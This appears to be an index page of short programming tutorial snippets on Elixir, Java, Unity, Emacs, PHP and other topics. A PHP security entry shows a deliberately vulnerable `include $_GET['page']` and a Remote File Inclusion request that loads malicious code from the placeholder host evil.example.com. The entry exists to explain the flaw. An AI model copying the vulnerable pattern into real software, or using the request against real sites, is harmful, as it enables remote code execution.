Tutorial by Examples: s

Modules have four associated keywords to make using them in other modules: alias, import, use, and require. alias will register a module under a different (usually shorter) name: defmodule MyModule do # Will make this module available as `CoolFunctions` alias MyOtherModule.CoolFunctions #...

In Java, we can convert between integer values and floating-point values. Also, since every character corresponds to a number in the Unicode encoding, char types can be converted to and from the integer and floating-point types. boolean is the only primitive datatype that cannot be converted to or f...

defmodule Processes do def receiver do receive do {:ok, val} -> IO.puts "Received Value: #{val}" _ -> IO.puts "Received something else" end end end iex(1)> pid = spawn(Processes, ...

Recursion can be used to receive multiple messages defmodule Processes do def receiver do receive do {:ok, val} -> IO.puts "Received Value: #{val}" _ -> IO.puts "Received something else" end...

Detailed instructions on getting jvm set up or installed.

Like the built-in python interactive shell, IPython is a REPL (Read-Evaluate-Print Loop) shell, with a variety of features that make it more pleasant to use for day-to-day Python development than the built-in REPL shell. Installation To install it: pip install ipython Or, via Anaconda: # To i...

Assigned GOTO uses integer variable to which a statement label is assigned using the ASSIGN statement. 100 CONTINUE ... ASSIGN 100 TO ILABEL ... GOTO ILABEL Assigned GOTO is obsolescent in Fortran 90 and deleted in Fortran 95 and later. It can be avoided in modern code by using pro...

There are three MonoBehaviour methods that can be made coroutines. Start() OnBecameVisible() OnLevelWasLoaded() This can be used to create, for example, scripts that execute only when the object is visible to a camera. using UnityEngine; using System.Collections; public class RotateObje...

Let's set yourself up to build your own awesome Progressive Web App with Polymer! Before you can start installing Polymer you require the following: Node.js - check out the StackOverflow Installing Node.js Documentation Bower - you can install Bower using the Node Package Manager installe...

Avoid unnecessary operations and method calls wherever you can, especially in a method which is called many times a second, like Update. Distance/Range Checks Use sqrMagnitude instead of magnitude when comparing distances. This avoids unnecessary sqrt operations. Note that when using sqrMagnitude,...

ActiveWorkbook and ThisWorkbook sometimes get used interchangeably by new users of VBA without fully understanding which each object relates to, this can cause undesired behaviour at run-time. Both of these objects belong to the Application Object The ActiveWorkbook object refers to the workbook ...

You create new ScriptableObject instances through ScriptableObject.CreateInstance<T>() T obj = ScriptableObject.CreateInstance<T>(); Where T extends ScriptableObject. Do not create ScriptableObjects by calling their constructors, ie. new ScriptableObject(). Creating ScriptableO...

Extra care should be taken when accessing serialized fields in a ScriptableObject instance. If a field is marked public or serialized through SerializeField, changing its value is permanent. They do not reset when exiting playmode like MonoBehaviours do. This can be useful at times, but it can also...

Problem Cross-site scripting is the unintended execution of remote code by a web client. Any web application might expose itself to XSS if it takes input from a user and outputs it directly on a web page. If input includes HTML or JavaScript, remote code can be executed when this content is rende...

preg_match can be used to parse string using regular expression. The parts of expression enclosed in parenthesis are called subpatterns and with them you can pick individual parts of the string. $str = "<a href=\"http://example.org\">My Link</a>"; $pattern = "/...

Remote File Inclusion Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file. This example injects a remotely hosted file containing a malicious code: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/...

You can quit Emacs with the following keybinding: C-x C-c Where C is the control key. Suspend Emacs You can suspend Emacs using the following keybinding : C-z It gets you back to your shell. If you want to resume your emacs session, enter fg in your terminal.

"Window" in Emacs refers to what might otherwise be called a "pane" or "screen division". Some window manipulation commands include: Split current window horizontally: C-x 2 Split current window vertically: C-x 3 Select next window: C-x o Close current window: C-x...

Example of a buffer list CRM Buffer Size Mode Filename[/Process] . * .emacs 3294 Emacs-Lisp ~/.emacs % *Help* 101 Help search.c 86055 C ~/cvs/emacs/src/search.c % src 2...

Hash references are scalars which contain a pointer to the memory location containing the data of a hash. Because the scalar points directly to the hash itself, when it is passed to a subroutine, changes made to the hash are not local to the subroutine as with a regular hash, but instead are global...